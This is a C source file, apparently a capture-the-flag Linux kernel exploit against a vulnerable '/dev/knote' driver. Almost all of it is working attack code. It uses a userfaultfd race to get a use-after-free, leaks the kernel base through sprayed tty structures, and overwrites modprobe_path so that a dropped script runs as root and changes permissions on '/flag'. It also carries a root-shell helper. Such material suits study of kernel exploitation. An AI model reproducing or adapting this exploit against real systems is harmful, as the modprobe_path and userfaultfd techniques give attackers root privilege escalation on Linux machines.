1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242
| #include <pthread.h> #include "myusfd.h" #define TTY_SIZE 0x2e0 #define MOD_PROBE 0x145c5c0 size_t user_cs, user_ss, user_rflags, user_sp; size_t kernel_offset = 0, kernel_base = 0xffffffff81000000; size_t commit_creds = 0, prepare_kernel_cred = 0, modprobe_path = 0;
void saveStatus() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } void getRootShell(void) { puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if (getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); exit(-1); }
puts( "\033[32m\033[1m[+] Successful to get the root. Execve root shell " "now...\033[0m"); system("/bin/sh"); } void fault_handler_thread_leak(void* arg) { puts("[+]leak thread start.."); static struct uffd_msg msg; long uffd; struct uffdio_copy uffdio_copy; struct pollfd pollfd; int nread; int nready; uffd = (long)arg; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); if (nready != 1) { errExit("[-] Wrong poll return val"); } nread = read(uffd, &msg, sizeof(msg));
sleep(4); printf("[*] faultbuf stuck ...n\n");
if (nread <= 0) { errExit("[-] msg err"); } char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) { errExit("[-] mmap err"); } memset(page, 0, sizeof(page));
uffdio_copy.src = (unsigned long)page; uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uffdio_copy.len = PAGE_SIZE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); puts("[+] leak_fault_handler done"); return; } void fault_handler_thread_evilwrite(void* arg) { puts("[+] fault_handler_evilwrte start!"); static struct uffd_msg msg; long uffd; struct uffdio_copy uffdio_copy; struct pollfd pollfd; int nread; int nready; uffd = (long)arg; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); if (nready != 1) { errExit("[-] Wrong poll return val"); } nread = read(uffd, &msg, sizeof(msg));
sleep(5);
if (nread <= 0) { errExit("[-] msg err"); } char* page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) { errExit("[-] mmap err"); } memset(page, 0, sizeof(page)); memcpy(page, &modprobe_path, 8); uffdio_copy.src = (unsigned long)page; uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uffdio_copy.len = PAGE_SIZE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); puts("[+] evilwrite on chunk success!"); puts("[+] fault_handler_write done"); return; }
struct Data { union { size_t size; size_t index; }; void* buf; }; long notefd, tty_fd; void add(size_t size) { struct Data data; data.size = size; data.buf = NULL; ioctl(notefd, 0x1337, &data); } void edit(size_t index, void* buf) { struct Data data; data.index = index; data.buf = buf; ioctl(notefd, 0x8888, &data); } void delete (size_t index) { struct Data data; data.index = index; ioctl(notefd, 0x6666, &data); } void show(size_t index, void* buf) { struct Data data; data.index = index; data.buf = buf; ioctl(notefd, 0x2333, &data); }
int main() { notefd = open("/dev/knote", O_RDWR); if (notefd < 0) { errExit("device open error!!"); }
char* faultbuf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (faultbuf == MAP_FAILED) errExit("map"); userfault_register(faultbuf, fault_handler_thread_leak); add(TTY_SIZE); printf("[+] add tty chunk success!\n"); pid_t pid = fork(); if (pid < 0) { errExit("fork"); } else if (pid == 0) { sleep(1); delete (0); printf("[-]son delete the tty chunk\n"); for (int i = 0; i < 0x30; i++) tty_fd = open("/dev/ptmx", O_RDWR); printf("[+]son open tty done\n"); exit(0); } show(0, faultbuf);
printf("[+]show success!\n");
size_t* data = (size_t*)faultbuf; if (data[7] == 0) { munmap(faultbuf, PAGE_SIZE); close(tty_fd); errExit("[-]leak data error!!"); } close(tty_fd);
size_t x_fun_addr = data[0x56];
size_t kernel_base = x_fun_addr - 0x5d4ef0;
modprobe_path = kernel_base + MOD_PROBE; printf("kernel_base=0x%lx\n", kernel_base); printf("modprobe_path=0x%lx\n", modprobe_path);
char* writebuf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (writebuf == MAP_FAILED) errExit("map"); userfault_register(writebuf, fault_handler_thread_evilwrite);
sleep(5);
add(0x100); puts("[+] add 0x100 chunk success!"); pid = fork(); if (pid < 0) { errExit("fork"); } else if (pid == 0) { sleep(1); delete (0); puts("[-] write son delete done!"); exit(0); } edit(0, writebuf);
puts("[+] edit success!"); sleep(3);
add(0x100); add(0x100); puts("[+] get the mdpb chunk!"); char* temp[0x100]; strcpy(temp, "/tmp/shell.sh");
edit(1, temp); puts("[+] overwrite mdpb success!"); system("echo '#!/bin/sh' >> /tmp/shell.sh"); system("echo 'chmod 777 /flag' >> /tmp/shell.sh"); system("chmod +x /tmp/shell.sh"); system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake"); system("chmod +x /tmp/fake"); system("/tmp/fake"); system("cat /flag"); sleep(5); return 0; }
|